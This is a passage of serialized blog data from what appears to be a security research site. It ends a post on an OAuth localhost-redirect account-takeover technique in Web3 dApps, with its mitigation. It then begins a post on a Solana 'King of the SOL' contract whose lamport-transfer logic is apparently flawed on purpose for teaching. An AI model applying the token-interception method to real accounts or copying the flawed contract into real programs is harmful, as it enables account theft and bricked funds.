{"style":493},[70449],{"type":32,"value":877},{"type":26,"tag":475,"props":70451,"children":70452},{"style":499},[70453],{"type":32,"value":882},{"type":26,"tag":475,"props":70455,"children":70456},{"class":477,"line":926},[70457,70461,70465,70469,70473],{"type":26,"tag":475,"props":70458,"children":70459},{"style":493},[70460],{"type":32,"value":891},{"type":26,"tag":475,"props":70462,"children":70463},{"style":499},[70464],{"type":32,"value":896},{"type":26,"tag":475,"props":70466,"children":70467},{"style":714},[70468],{"type":32,"value":786},{"type":26,"tag":475,"props":70470,"children":70471},{"style":903},[70472],{"type":32,"value":906},{"type":26,"tag":475,"props":70474,"children":70475},{"style":499},[70476],{"type":32,"value":676},{"type":26,"tag":475,"props":70478,"children":70479},{"class":477,"line":948},[70480,70484],{"type":26,"tag":475,"props":70481,"children":70482},{"style":493},[70483],{"type":32,"value":919},{"type":26,"tag":475,"props":70485,"children":70486},{"style":499},[70487],{"type":32,"value":579},{"type":26,"tag":475,"props":70489,"children":70490},{"class":477,"line":966},[70491,70495,70499,70503],{"type":26,"tag":475,"props":70492,"children":70493},{"style":482},[70494],{"type":32,"value":932},{"type":26,"tag":475,"props":70496,"children":70497},{"style":499},[70498],{"type":32,"value":626},{"type":26,"tag":475,"props":70500,"children":70501},{"style":629},[70502],{"type":32,"value":941},{"type":26,"tag":475,"props":70504,"children":70505},{"style":499},[70506],{"type":32,"value":676},{"type":26,"tag":475,"props":70508,"children":70509},{"class":477,"line":979},[70510,70514,70518],{"type":26,"tag":475,"props":70511,"children":70512},{"style":499},[70513],{"type":32,"value":954},{"type":26,"tag":475,"props":70515,"children":70516},{"style":493},[70517],{"type":32,"value":959},{"type":26,"tag":475,"props":70519,"children":70520},{"style":499},[70521],{"type":32,"value":579},{"type":26,"tag":475,"props":70523,"children":70524},{"class":477,"line":1006},[70525,70529],{"type":26,"tag":475,"props":70526,"children":70527},{"style":493},[70528],{"type":32,"value":972},{"type":26,"tag":475,"props":70530,"children":70531},{"style":499},[70532],{"type":32,"value":579},{"type":26,"tag":475,"props":70534,"children":70535},{"class":477,"line":1046},[70536,70540,70544,70548,70552],{"type":26,"tag":475,"props":70537,"children":70538},{"style":493},[70539],{"type":32,"value":985},{"type":26,"tag":475,"props":70541,"children":70542},{"style":499},[70543],{"type":32,"value":990},{"type":26,"tag":475,"props":70545,"children":70546},{"style":714},[70547],{"type":32,"value":786},{"type":26,"tag":475,"props":70549,"children":70550},{"style":629},[70551],{"type":32,"value":999},{"type":26,"tag":475,"props":70553,"children":70554},{"style":499},[70555],{"type":32,"value":647},{"type":26,"tag":475,"props":70557,"children":70558},{"class":477,"line":1068},[70559,70563,70567,70571,70575,70579,70583,70587],{"type":26,"tag":475,"props":70560,"children":70561},{"style":493},[70562],{"type":32,"value":985},{"type":26,"tag":475,"props":70564,"children":70565},{"style":499},[70566],{"type":32,"value":1016},{"type":26,"tag":475,"props":70568,"children":70569},{"style":714},[70570],{"type":32,"value":786},{"type":26,"tag":475,"props":70572,"children":70573},{"style":629},[70574],{"type":32,"value":1025},{"type":26,"tag":475,"props":70576,"children":70577},{"style":499},[70578],{"type":32,"value":1030},{"type":26,"tag":475,"props":70580,"children":70581},{"style":714},[70582],{"type":32,"value":786},{"type":26,"tag":475,"props":70584,"children":70585},{"style":629},[70586],{"type":32,"value":1039},{"type":26,"tag":475,"props":70588,"children":70589},{"style":499},[70590],{"type":32,"value":647},{"type":26,"tag":475,"props":70592,"children":70593},{"class":477,"line":1077},[70594,70598,70602,70606],{"type":26,"tag":475,"props":70595,"children":70596},{"style":493},[70597],{"type":32,"value":1052},{"type":26,"tag":475,"props":70599,"children":70600},{"style":499},[70601],{"type":32,"value":626},{"type":26,"tag":475,"props":70603,"children":70604},{"style":629},[70605],{"type":32,"value":1061},{"type":26,"tag":475,"props":70607,"children":70608},{"style":499},[70609],{"type":32,"value":647},{"type":26,"tag":475,"props":70611,"children":70612},{"class":477,"line":1090},[70613],{"type":26,"tag":475,"props":70614,"children":70615},{"style":499},[70616],{"type":32,"value":1074},{"type":26,"tag":475,"props":70618,"children":70619},{"class":477,"line":1119},[70620,70624],{"type":26,"tag":475,"props":70621,"children":70622},{"style":493},[70623],{"type":32,"value":1083},{"type":26,"tag":475,"props":70625,"children":70626},{"style":499},[70627],{"type":32,"value":579},{"type":26,"tag":475,"props":70629,"children":70630},{"class":477,"line":1132},[70631,70635,70639,70643,70647],{"type":26,"tag":475,"props":70632,"children":70633},{"style":493},[70634],{"type":32,"value":1096},{"type":26,"tag":475,"props":70636,"children":70637},{"style":499},[70638],{"type":32,"value":1101},{"type":26,"tag":475,"props":70640,"children":70641},{"style":714},[70642],{"type":32,"value":1106},{"type":26,"tag":475,"props":70644,"children":70645},{"style":629},[70646],{"type":32,"value":1111},{"type":26,"tag":475,"props":70648,"children":70649},{"style":499},[70650],{"type":32,"value":1116},{"type":26,"tag":475,"props":70652,"children":70653},{"class":477,"line":1146},[70654,70658],{"type":26,"tag":475,"props":70655,"children":70656},{"style":493},[70657],{"type":32,"value":1125},{"type":26,"tag":475,"props":70659,"children":70660},{"style":499},[70661],{"type":32,"value":579},{"type":26,"tag":475,"props":70663,"children":70664},{"class":477,"line":1155},[70665,70669],{"type":26,"tag":475,"props":70666,"children":70667},{"style":714},[70668],{"type":32,"value":1138},{"type":26,"tag":475,"props":70670,"children":70671},{"style":629},[70672],{"type":32,"value":70673},"\"document.body.innerText = location.search;\"\n",{"type":26,"tag":475,"props":70675,"children":70676},{"class":477,"line":1163},[70677],{"type":26,"tag":475,"props":70678,"children":70679},{"style":499},[70680],{"type":32,"value":1152},{"type":26,"tag":475,"props":70682,"children":70683},{"class":477,"line":1172},[70684],{"type":26,"tag":475,"props":70685,"children":70686},{"style":499},[70687],{"type":32,"value":1074},{"type":26,"tag":475,"props":70689,"children":70690},{"class":477,"line":1181},[70691],{"type":26,"tag":475,"props":70692,"children":70693},{"style":499},[70694],{"type":32,"value":1169},{"type":26,"tag":475,"props":70696,"children":70697},{"class":477,"line":1189},[70698],{"type":26,"tag":475,"props":70699,"children":70700},{"style":499},[70701],{"type":32,"value":1178},{"type":26,"tag":475,"props":70703,"children":70704},{"class":477,"line":1221},[70705],{"type":26,"tag":475,"props":70706,"children":70707},{"style":499},[70708],{"type":32,"value":741},{"type":26,"tag":475,"props":70710,"children":70711},{"class":477,"line":1848},[70712,70716,70720,70724,70728,70732],{"type":26,"tag":475,"props":70713,"children":70714},{"style":499},[70715],{"type":32,"value":1195},{"type":26,"tag":475,"props":70717,"children":70718},{"style":493},[70719],{"type":32,"value":1200},{"type":26,"tag":475,"props":70721,"children":70722},{"style":499},[70723],{"type":32,"value":1205},{"type":26,"tag":475,"props":70725,"children":70726},{"style":714},[70727],{"type":32,"value":786},{"type":26,"tag":475,"props":70729,"children":70730},{"style":482},[70731],{"type":32,"value":1214},{"type":26,"tag":475,"props":70733,"children":70734},{"style":499},[70735],{"type":32,"value":647},{"type":26,"tag":475,"props":70737,"children":70738},{"class":477,"line":1857},[70739],{"type":26,"tag":475,"props":70740,"children":70741},{"style":499},[70742],{"type":32,"value":851},{"type":26,"tag":475,"props":70744,"children":70745},{"class":477,"line":1866},[70746],{"type":26,"tag":475,"props":70747,"children":70748},{"style":499},[70749],{"type":32,"value":3607},{"type":26,"tag":35,"props":70751,"children":70752},{},[70753],{"type":32,"value":70754},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":26,"tag":35,"props":70756,"children":70757},{},[70758],{"type":32,"value":70759},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":26,"tag":41,"props":70761,"children":70763},{"id":70762},"mitigation-1",[70764],{"type":32,"value":2513},{"type":26,"tag":35,"props":70766,"children":70767},{},[70768,70770,70775],{"type":32,"value":70769},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":26,"tag":53,"props":70771,"children":70773},{"className":70772},[],[70774],{"type":32,"value":66},{"type":32,"value":70776}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":26,"tag":27,"props":70778,"children":70779},{"id":2533},[70780],{"type":32,"value":2536},{"type":26,"tag":35,"props":70782,"children":70783},{},[70784],{"type":32,"value":70785},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":26,"tag":35,"props":70787,"children":70788},{},[70789],{"type":32,"value":70790},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":26,"tag":2548,"props":70792,"children":70793},{},[70794],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":70796},[70797,70804,70809,70812],{"id":69227,"depth":516,"text":69230,"children":70798},[70799,70800,70801,70802,70803],{"id":69238,"depth":539,"text":69241},{"id":69265,"depth":539,"text":69268},{"id":69325,"depth":539,"text":69328},{"id":69382,"depth":539,"text":69385},{"id":69480,"depth":539,"text":69483},{"id":69526,"depth":516,"text":69529,"children":70805},[70806,70807,70808],{"id":69532,"depth":539,"text":69535},{"id":69559,"depth":539,"text":69562},{"id":2510,"depth":539,"text":2513},{"id":70008,"depth":516,"text":70011,"children":70810},[70811],{"id":70762,"depth":539,"text":2513},{"id":2533,"depth":516,"text":2536},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":70817,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":70818,"description":70819,"author":40140,"image":70820,"date":70822,"isFeatured":18,"tags":70823,"onBlogPage":18,"body":70824,"_type":2566,"_id":75478,"_source":2568,"_file":75479,"_stem":75480,"_extension":2571},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":70821,"height":17,"width":17},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[2583],{"type":23,"children":70825,"toc":75467},[70826,70830,70835,70849,70855,70860,70890,70895,70900,71938,71943,71951,71956,71962,71968,71980,72013,72025,72038,72050,72495,72500,72546,72552,72557,72644,72649,72663,72676,73339,73344,73356,73362,73373,73385,73539,73553,73572,73593,73599,73604,73949,73954,73960,73979,73993,74615,74620,74640,74645,74650,74656,74668,74689,74864,74870,74875,75176,75197,75209,75221,75305,75325,75337,75343,75355,75361,75366,75389,75401,75407,75419,75424,75430,75435,75440,75458,75463],{"type":26,"tag":27,"props":70827,"children":70828},{"id":28717},[70829],{"type":32,"value":28720},{"type":26,"tag":35,"props":70831,"children":70832},{},[70833],{"type":32,"value":70834},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":26,"tag":35,"props":70836,"children":70837},{},[70838,70840,70847],{"type":32,"value":70839},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":26,"tag":116,"props":70841,"children":70844},{"href":70842,"rel":70843},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[120],[70845],{"type":32,"value":70846},"King of the Ether",{"type":32,"value":70848},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":26,"tag":27,"props":70850,"children":70852},{"id":70851},"the-game-king-of-the-sol",[70853],{"type":32,"value":70854},"The Game: King of the SOL",{"type":26,"tag":35,"props":70856,"children":70857},{},[70858],{"type":32,"value":70859},"The game works like this:",{"type":26,"tag":82,"props":70861,"children":70862},{},[70863,70875,70880,70885],{"type":26,"tag":86,"props":70864,"children":70865},{},[70866,70868,70873],{"type":32,"value":70867},"Anyone can become the ",{"type":26,"tag":105,"props":70869,"children":70870},{},[70871],{"type":32,"value":70872},"king",{"type":32,"value":70874}," by bidding at least 2× the previous bid.",{"type":26,"tag":86,"props":70876,"children":70877},{},[70878],{"type":32,"value":70879},"The old king is reimbursed 95% of their bid.",{"type":26,"tag":86,"props":70881,"children":70882},{},[70883],{"type":32,"value":70884},"The remaining 5% goes into a prize pot.",{"type":26,"tag":86,"props":70886,"children":70887},{},[70888],{"type":32,"value":70889},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":26,"tag":35,"props":70891,"children":70892},{},[70893],{"type":32,"value":70894},"Simple, right?",{"type":26,"tag":35,"props":70896,"children":70897},{},[70898],{"type":32,"value":70899},"This is the core logic:",{"type":26,"tag":465,"props":70901,"children":70903},{"className":2685,"code":70902,"language":2684,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[70904],{"type":26,"tag":53,"props":70905,"children":70906},{"__ignoreMap":7},[70907,70922,70950,70965,71006,71013,71021,71072,71103,71110,71118,71133,71165,71172,71187,71218,71225,71232,71240,71257,71331,71339,71400,71412,71440,71480,71492,71508,71515,71523,71597,71609,71648,71676,71688,71703,71710,71718,71788,71832,71906,71913,71924,71931],{"type":26,"tag":475,"props":70908,"children":70909},{"class":477,"line":478},[70910,70914,70918],{"type":26,"tag":475,"props":70911,"children":70912},{"style":499},[70913],{"type":32,"value":22546},{"type":26,"tag":475,"props":70915,"children":70916},{"style":505},[70917],{"type":32,"value":22551},{"type":26,"tag":475,"props":70919,"children":70920},{"style":499},[70921],{"type":32,"value":19966},{"type":26,"tag":475,"props":70923,"children":70924},{"class":477,"line":516},[70925,70929,70933,70938,70942,70946],{"type":26,"tag":475,"props":70926,"children":70927},{"style":482},[70928],{"type":32,"value":13397},{"type":26,"tag":475,"props":70930,"children":70931},{"style":482},[70932],{"type":32,"value":20859},{"type":26,"tag":475,"props":70934,"children":70935},{"style":505},[70936],{"type":32,"value":70937}," ChangeKing",{"type":26,"tag":475,"props":70939,"children":70940},{"style":499},[70941],{"type":32,"value":22631},{"type":26,"tag":475,"props":70943,"children":70944},{"style":505},[70945],{"type":32,"value":22636},{"type":26,"tag":475,"props":70947,"children":70948},{"style":499},[70949],{"type":32,"value":6994},{"type":26,"tag":475,"props":70951,"children":70952},{"class":477,"line":539},[70953,70957,70961],{"type":26,"tag":475,"props":70954,"children":70955},{"style":499},[70956],{"type":32,"value":22838},{"type":26,"tag":475,"props":70958,"children":70959},{"style":482},[70960],{"type":32,"value":3430},{"type":26,"tag":475,"props":70962,"children":70963},{"style":499},[70964],{"type":32,"value":19966},{"type":26,"tag":475,"props":70966,"children":70967},{"class":477,"line":548},[70968,70972,70977,70981,70985,70989,70993,70997,71002],{"type":26,"tag":475,"props":70969,"children":70970},{"style":482},[70971],{"type":32,"value":20551},{"type":26,"tag":475,"props":70973,"children":70974},{"style":2375},[70975],{"type":32,"value":70976}," throne",{"type":26,"tag":475,"props":70978,"children":70979},{"style":714},[70980],{"type":32,"value":179},{"type":26,"tag":475,"props":70982,"children":70983},{"style":505},[70984],{"type":32,"value":22803},{"type":26,"tag":475,"props":70986,"children":70987},{"style":499},[70988],{"type":32,"value":22631},{"type":26,"tag":475,"props":70990,"children":70991},{"style":505},[70992],{"type":32,"value":22636},{"type":26,"tag":475,"props":70994,"children":70995},{"style":499},[70996],{"type":32,"value":637},{"type":26,"tag":475,"props":70998,"children":70999},{"style":505},[71000],{"type":32,"value":71001},"Throne",{"type":26,"tag":475,"props":71003,"children":71004},{"style":499},[71005],{"type":32,"value":5852},{"type":26,"tag":475,"props":71007,"children":71008},{"class":477,"line":558},[71009],{"type":26,"tag":475,"props":71010,"children":71011},{"emptyLinePlaceholder":18},[71012],{"type":32,"value":545},{"type":26,"tag":475,"props":71014,"children":71015},{"class":477,"line":582},[71016],{"type":26,"tag":475,"props":71017,"children":71018},{"style":552},[71019],{"type":32,"value":71020}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":26,"tag":475,"props":71022,"children":71023},{"class":477,"line":596},[71024,71028,71032,71037,71041,71046,71050,71055,71059,71063,71067],{"type":26,"tag":475,"props":71025,"children":71026},{"style":499},[71027],{"type":32,"value":22838},{"type":26,"tag":475,"props":71029,"children":71030},{"style":482},[71031],{"type":32,"value":3430},{"type":26,"tag":475,"props":71033,"children":71034},{"style":499},[71035],{"type":32,"value":71036},", constraint ",{"type":26,"tag":475,"props":71038,"children":71039},{"style":714},[71040],{"type":32,"value":786},{"type":26,"tag":475,"props":71042,"children":71043},{"style":499},[71044],{"type":32,"value":71045}," old_king",{"type":26,"tag":475,"props":71047,"children":71048},{"style":714},[71049],{"type":32,"value":353},{"type":26,"tag":475,"props":71051,"children":71052},{"style":499},[71053],{"type":32,"value":71054},"key() ",{"type":26,"tag":475,"props":71056,"children":71057},{"style":714},[71058],{"type":32,"value":8287},{"type":26,"tag":475,"props":71060,"children":71061},{"style":499},[71062],{"type":32,"value":70976},{"type":26,"tag":475,"props":71064,"children":71065},{"style":714},[71066],{"type":32,"value":353},{"type":26,"tag":475,"props":71068,"children":71069},{"style":499},[71070],{"type":32,"value":71071},"king)]\n",{"type":26,"tag":475,"props":71073,"children":71074},{"class":477,"line":610},[71075,71079,71083,71087,71091,71095,71099],{"type":26,"tag":475,"props":71076,"children":71077},{"style":482},[71078],{"type":32,"value":20551},{"type":26,"tag":475,"props":71080,"children":71081},{"style":2375},[71082],{"type":32,"value":71045},{"type":26,"tag":475,"props":71084,"children":71085},{"style":714},[71086],{"type":32,"value":179},{"type":26,"tag":475,"props":71088,"children":71089},{"style":505},[71090],{"type":32,"value":25099},{"type":26,"tag":475,"props":71092,"children":71093},{"style":499},[71094],{"type":32,"value":22631},{"type":26,"tag":475,"props":71096,"children":71097},{"style":505},[71098],{"type":32,"value":22636},{"type":26,"tag":475,"props":71100,"children":71101},{"style":499},[71102],{"type":32,"value":5852},{"type":26,"tag":475,"props":71104,"children":71105},{"class":477,"line":650},[71106],{"type":26,"tag":475,"props":71107,"children":71108},{"emptyLinePlaceholder":18},[71109],{"type":32,"value":545},{"type":26,"tag":475,"props":71111,"children":71112},{"class":477,"line":679},[71113],{"type":26,"tag":475,"props":71114,"children":71115},{"style":552},[71116],{"type":32,"value":71117}," /// CHECK: any writable account is allowed as a new king.\n",{"type":26,"tag":475,"props":71119,"children":71120},{"class":477,"line":735},[71121,71125,71129],{"type":26,"tag":475,"props":71122,"children":71123},{"style":499},[71124],{"type":32,"value":22838},{"type":26,"tag":475,"props":71126,"children":71127},{"style":482},[71128],{"type":32,"value":3430},{"type":26,"tag":475,"props":71130,"children":71131},{"style":499},[71132],{"type":32,"value":19966},{"type":26,"tag":475,"props":71134,"children":71135},{"class":477,"line":744},[71136,71140,71145,71149,71153,71157,71161],{"type":26,"tag":475,"props":71137,"children":71138},{"style":482},[71139],{"type":32,"value":20551},{"type":26,"tag":475,"props":71141,"children":71142},{"style":2375},[71143],{"type":32,"value":71144}," new_king",{"type":26,"tag":475,"props":71146,"children":71147},{"style":714},[71148],{"type":32,"value":179},{"type":26,"tag":475,"props":71150,"children":71151},{"style":505},[71152],{"type":32,"value":25099},{"type":26,"tag":475,"props":71154,"children":71155},{"style":499},[71156],{"type":32,"value":22631},{"type":26,"tag":475,"props":71158,"children":71159},{"style":505},[71160],{"type":32,"value":22636},{"type":26,"tag":475,"props":71162,"children":71163},{"style":499},[71164],{"type":32,"value":5852},{"type":26,"tag":475,"props":71166,"children":71167},{"class":477,"line":753},[71168],{"type":26,"tag":475,"props":71169,"children":71170},{"emptyLinePlaceholder":18},[71171],{"type":32,"value":545},{"type":26,"tag":475,"props":71173,"children":71174},{"class":477,"line":761},[71175,71179,71183],{"type":26,"tag":475,"props":71176,"children":71177},{"style":499},[71178],{"type":32,"value":22838},{"type":26,"tag":475,"props":71180,"children":71181},{"style":482},[71182],{"type":32,"value":3430},{"type":26,"tag":475,"props":71184,"children":71185},{"style":499},[71186],{"type":32,"value":19966},{"type":26,"tag":475,"props":71188,"children":71189},{"class":477,"line":770},[71190,71194,71198,71202,71206,71210,71214],{"type":26,"tag":475,"props":71191,"children":71192},{"style":482},[71193],{"type":32,"value":20551},{"type":26,"tag":475,"props":71195,"children":71196},{"style":2375},[71197],{"type":32,"value":41930},{"type":26,"tag":475,"props":71199,"children":71200},{"style":714},[71201],{"type":32,"value":179},{"type":26,"tag":475,"props":71203,"children":71204},{"style":505},[71205],{"type":32,"value":22867},{"type":26,"tag":475,"props":71207,"children":71208},{"style":499},[71209],{"type":32,"value":22631},{"type":26,"tag":475,"props":71211,"children":71212},{"style":505},[71213],{"type":32,"value":22636},{"type":26,"tag":475,"props":71215,"children":71216},{"style":499},[71217],{"type":32,"value":5852},{"type":26,"tag":475,"props":71219,"children":71220},{"class":477,"line":794},[71221],{"type":26,"tag":475,"props":71222,"children":71223},{"style":499},[71224],{"type":32,"value":3607},{"type":26,"tag":475,"props":71226,"children":71227},{"class":477,"line":831},[71228],{"type":26,"tag":475,"props":71229,"children":71230},{"emptyLinePlaceholder":18},[71231],{"type":32,"value":545},{"type":26,"tag":475,"props":71233,"children":71234},{"class":477,"line":845},[71235],{"type":26,"tag":475,"props":71236,"children":71237},{"style":499},[71238],{"type":32,"value":71239},"#[program]\n",{"type":26,"tag":475,"props":71241,"children":71242},{"class":477,"line":854},[71243,71247,71252],{"type":26,"tag":475,"props":71244,"children":71245},{"style":482},[71246],{"type":32,"value":13397},{"type":26,"tag":475,"props":71248,"children":71249},{"style":482},[71250],{"type":32,"value":71251}," mod",{"type":26,"tag":475,"props":71253,"children":71254},{"style":499},[71255],{"type":32,"value":71256}," king_of_the_sol {\n",{"type":26,"tag":475,"props":71258,"children":71259},{"class":477,"line":862},[71260,71264,71268,71273,71277,71281,71285,71289,71293,71298,71302,71307,71311,71315,71319,71323,71327],{"type":26,"tag":475,"props":71261,"children":71262},{"style":482},[71263],{"type":32,"value":20551},{"type":26,"tag":475,"props":71265,"children":71266},{"style":482},[71267],{"type":32,"value":13402},{"type":26,"tag":475,"props":71269,"children":71270},{"style":493},[71271],{"type":32,"value":71272}," change_king",{"type":26,"tag":475,"props":71274,"children":71275},{"style":499},[71276],{"type":32,"value":626},{"type":26,"tag":475,"props":71278,"children":71279},{"style":2375},[71280],{"type":32,"value":19988},{"type":26,"tag":475,"props":71282,"children":71283},{"style":714},[71284],{"type":32,"value":179},{"type":26,"tag":475,"props":71286,"children":71287},{"style":505},[71288],{"type":32,"value":19997},{"type":26,"tag":475,"props":71290,"children":71291},{"style":499},[71292],{"type":32,"value":5519},{"type":26,"tag":475,"props":71294,"children":71295},{"style":505},[71296],{"type":32,"value":71297},"ChangeKing",{"type":26,"tag":475,"props":71299,"children":71300},{"style":499},[71301],{"type":32,"value":6344},{"type":26,"tag":475,"props":71303,"children":71304},{"style":2375},[71305],{"type":32,"value":71306},"bid_amount",{"type":26,"tag":475,"props":71308,"children":71309},{"style":714},[71310],{"type":32,"value":179},{"type":26,"tag":475,"props":71312,"children":71313},{"style":505},[71314],{"type":32,"value":5573},{"type":26,"tag":475,"props":71316,"children":71317},{"style":499},[71318],{"type":32,"value":2794},{"type":26,"tag":475,"props":71320,"children":71321},{"style":714},[71322],{"type":32,"value":13464},{"type":26,"tag":475,"props":71324,"children":71325},{"style":505},[71326],{"type":32,"value":13469},{"type":26,"tag":475,"props":71328,"children":71329},{"style":499},[71330],{"type":32,"value":20039},{"type":26,"tag":475,"props":71332,"children":71333},{"class":477,"line":885},[71334],{"type":26,"tag":475,"props":71335,"children":71336},{"style":552},[71337],{"type":32,"value":71338}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":26,"tag":475,"props":71340,"children":71341},{"class":477,"line":913},[71342,71346,71350,71354,71358,71362,71366,71370,71374,71379,71383,71388,71392,71396],{"type":26,"tag":475,"props":71343,"children":71344},{"style":493},[71345],{"type":32,"value":64140},{"type":26,"tag":475,"props":71347,"children":71348},{"style":499},[71349],{"type":32,"value":626},{"type":26,"tag":475,"props":71351,"children":71352},{"style":2375},[71353],{"type":32,"value":71306},{"type":26,"tag":475,"props":71355,"children":71356},{"style":714},[71357],{"type":32,"value":8013},{"type":26,"tag":475,"props":71359,"children":71360},{"style":2375},[71361],{"type":32,"value":25544},{"type":26,"tag":475,"props":71363,"children":71364},{"style":714},[71365],{"type":32,"value":353},{"type":26,"tag":475,"props":71367,"children":71368},{"style":499},[71369],{"type":32,"value":14382},{"type":26,"tag":475,"props":71371,"children":71372},{"style":714},[71373],{"type":32,"value":353},{"type":26,"tag":475,"props":71375,"children":71376},{"style":499},[71377],{"type":32,"value":71378},"throne",{"type":26,"tag":475,"props":71380,"children":71381},{"style":714},[71382],{"type":32,"value":353},{"type":26,"tag":475,"props":71384,"children":71385},{"style":499},[71386],{"type":32,"value":71387},"last_bid_amount ",{"type":26,"tag":475,"props":71389,"children":71390},{"style":714},[71391],{"type":32,"value":4282},{"type":26,"tag":475,"props":71393,"children":71394},{"style":903},[71395],{"type":32,"value":7645},{"type":26,"tag":475,"props":71397,"children":71398},{"style":499},[71399],{"type":32,"value":3533},{"type":26,"tag":475,"props":71401,"children":71402},{"class":477,"line":926},[71403,71408],{"type":26,"tag":475,"props":71404,"children":71405},{"style":493},[71406],{"type":32,"value":71407}," transfer_from_signer",{"type":26,"tag":475,"props":71409,"children":71410},{"style":499},[71411],{"type":32,"value":3169},{"type":26,"tag":475,"props":71413,"children":71414},{"class":477,"line":948},[71415,71419,71423,71427,71431,71435],{"type":26,"tag":475,"props":71416,"children":71417},{"style":714},[71418],{"type":32,"value":7397},{"type":26,"tag":475,"props":71420,"children":71421},{"style":2375},[71422],{"type":32,"value":19988},{"type":26,"tag":475,"props":71424,"children":71425},{"style":714},[71426],{"type":32,"value":353},{"type":26,"tag":475,"props":71428,"children":71429},{"style":499},[71430],{"type":32,"value":14382},{"type":26,"tag":475,"props":71432,"children":71433},{"style":714},[71434],{"type":32,"value":353},{"type":26,"tag":475,"props":71436,"children":71437},{"style":499},[71438],{"type":32,"value":71439},"payer,\n",{"type":26,"tag":475,"props":71441,"children":71442},{"class":477,"line":966},[71443,71447,71451,71455,71459,71463,71467,71471,71476],{"type":26,"tag":475,"props":71444,"children":71445},{"style":714},[71446],{"type":32,"value":7397},{"type":26,"tag":475,"props":71448,"children":71449},{"style":2375},[71450],{"type":32,"value":19988},{"type":26,"tag":475,"props":71452,"children":71453},{"style":714},[71454],{"type":32,"value":353},{"type":26,"tag":475,"props":71456,"children":71457},{"style":499},[71458],{"type":32,"value":14382},{"type":26,"tag":475,"props":71460,"children":71461},{"style":714},[71462],{"type":32,"value":353},{"type":26,"tag":475,"props":71464,"children":71465},{"style":499},[71466],{"type":32,"value":71378},{"type":26,"tag":475,"props":71468,"children":71469},{"style":714},[71470],{"type":32,"value":353},{"type":26,"tag":475,"props":71472,"children":71473},{"style":493},[71474],{"type":32,"value":71475},"to_account_info",{"type":26,"tag":475,"props":71477,"children":71478},{"style":499},[71479],{"type":32,"value":3197},{"type":26,"tag":475,"props":71481,"children":71482},{"class":477,"line":979},[71483,71488],{"type":26,"tag":475,"props":71484,"children":71485},{"style":2375},[71486],{"type":32,"value":71487}," bid_amount",{"type":26,"tag":475,"props":71489,"children":71490},{"style":499},[71491],{"type":32,"value":2425},{"type":26,"tag":475,"props":71493,"children":71494},{"class":477,"line":1006},[71495,71500,71504],{"type":26,"tag":475,"props":71496,"children":71497},{"style":499},[71498],{"type":32,"value":71499}," )",{"type":26,"tag":475,"props":71501,"children":71502},{"style":714},[71503],{"type":32,"value":2863},{"type":26,"tag":475,"props":71505,"children":71506},{"style":499},[71507],{"type":32,"value":2729},{"type":26,"tag":475,"props":71509,"children":71510},{"class":477,"line":1046},[71511],{"type":26,"tag":475,"props":71512,"children":71513},{"emptyLinePlaceholder":18},[71514],{"type":32,"value":545},{"type":26,"tag":475,"props":71516,"children":71517},{"class":477,"line":1068},[71518],{"type":26,"tag":475,"props":71519,"children":71520},{"style":552},[71521],{"type":32,"value":71522}," // Reimburse 95% of the last bid to the old 